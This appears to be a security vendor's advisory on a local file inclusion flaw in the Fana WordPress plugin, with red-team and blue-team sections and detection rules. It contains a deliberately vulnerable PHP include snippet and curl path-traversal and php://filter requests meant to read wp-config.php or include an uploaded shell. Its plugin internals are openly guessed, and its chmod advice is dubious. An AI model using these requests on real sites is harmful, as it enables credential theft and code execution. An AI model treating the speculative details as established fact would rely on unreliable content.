CVE-2025-68540

Executive Summary

CVE-2025-68540 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Fana WordPress plugin by Thembay, affecting versions up to and including 1.1.35. The vulnerability stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials, or potentially achieving remote code execution if combined with file upload capabilities. The CVSS score of 7.5 (High) reflects the ease of exploitation and high confidentiality impact. No public proof-of-concept or patch is currently available, making this a high-priority unpatched threat for WordPress sites using the Fana plugin.

Supply Chain & Package Security

This vulnerability affects the Fana WordPress plugin, distributed via the official WordPress plugin repository and third-party marketplaces. As a WordPress plugin, it is part of the broader PHP ecosystem. Users should verify the integrity of their plugin files and monitor for updates from Thembay. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this vulnerability in targeted attacks.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full file read access.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is easily exploitable and can lead to severe data breaches. The lack of a patch and public exploit increases the urgency for mitigation.

Deep Dive & Mechanics

The vulnerability exists in the Fana plugin's PHP code, likely in a function that dynamically includes files based on user-supplied input without proper sanitization. For example, a parameter like ?file=../../wp-config.php could be passed to a vulnerable endpoint, causing the PHP include() or require() function to load the specified file. Since the plugin is part of the WordPress ecosystem, the attack surface is through HTTP GET or POST requests to WordPress admin-ajax.php or custom plugin pages.

The core issue is the absence of input validation and path traversal checks. The plugin likely uses a variable from $_GET, $_POST, or $_REQUEST directly in an include statement, such as:

include($_GET['file'] . '.php');

This allows an attacker to traverse directories using ../ sequences and include arbitrary files with .php extension, or by using null byte injection (in older PHP versions) to bypass extension appending.

Vulnerable vs. Patched Code

Vulnerable Code (Example):

<?php
// vulnerable.php
$file = $_GET['page'];
include($file . '.php');
?>

Patched Code (Example):

<?php
// patched.php
$allowed_pages = array('home', 'about', 'contact');
$file = $_GET['page'];
if (in_array($file, $allowed_pages)) {
    include($file . '.php');
} else {
    // Handle error
    exit('Invalid page.');
}
?>

A proper patch would implement a whitelist of allowed files, use realpath() to resolve paths, and ensure no directory traversal is possible. Since no official patch exists, users must implement virtual patching via WAF rules.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install WordPress with the Fana plugin version 1.1.35.
2. Identify the vulnerable endpoint (e.g., /wp-content/plugins/fana/vulnerable.php?file=).
3. Use a tool like Burp Suite or curl to test LFI.

Exploit Example:

curl "http://target.com/wp-content/plugins/fana/vulnerable.php?file=../../../../wp-config"

This will attempt to include the WordPress configuration file. If successful, the file contents will be displayed or executed.

Advanced Exploitation:

• Use PHP wrappers like php://filter to read files without extension:

  curl "http://target.com/wp-content/plugins/fana/vulnerable.php?file=php://filter/convert.base64-encode/resource=../../../../wp-config"
  

• If file upload is possible, upload a PHP shell and include it:

  curl "http://target.com/wp-content/plugins/fana/vulnerable.php?file=../../../../wp-content/uploads/shell"
  

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for suspicious ../ sequences in GET/POST parameters.
• Look for requests to plugin files with file= parameters.
• Use WAF rules to block path traversal patterns.

Response:

• Immediately isolate affected systems.
• Review logs for signs of exploitation.
• Disable the Fana plugin until a patch is available.
• Implement file integrity monitoring for critical WordPress files.

Indicators of Compromise (IOCs)

• File Paths: /wp-content/plugins/fana/ (any file within this directory)
• URL Patterns: ?file=, ?page=, ?template= with ../ sequences
• Log Entries: HTTP requests containing %2e%2e%2f (URL-encoded ../) or ../../
• Network Traffic: Outbound connections from the web server to unknown IPs (if RCE achieved)
• File Changes: Unexpected modifications to wp-config.php or .htaccess

Detection Engineering

YARA Rule

rule CVE_2025_68540_LFI_Detection {
    meta:
        description = "Detects attempts to exploit CVE-2025-68540 in Fana plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-68540"
    strings:
        $s1 = "file=" nocase
        $s2 = "../" nocase
        $s3 = "wp-config" nocase
        $s4 = "php://filter" nocase
    condition:
        any of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: CVE-2025-68540 Fana Plugin LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit LFI in Fana WordPress plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '/wp-content/plugins/fana/'
            - 'file='
            - '../'
            - 'php://filter'
    condition: selection
falsepositives:
    - Legitimate use of file parameters in other plugins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-68540 Fana Plugin LFI Attempt"; flow:to_server,established; content:"/wp-content/plugins/fana/"; http_uri; content:"file="; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Fana plugin until a patch is released.
2. Virtual Patching: Implement WAF rules to block path traversal patterns (e.g., ../, php://).
3. File Permissions: Ensure wp-config.php is not readable by the web server user (chmod 600).
4. Monitoring: Enable detailed logging and monitor for LFI attempts.
5. Update: Subscribe to Thembay's updates and apply the patch as soon as it becomes available.
6. Alternative: Consider replacing the Fana plugin with a secure alternative.

Valters IT
Securing Digital Frontiers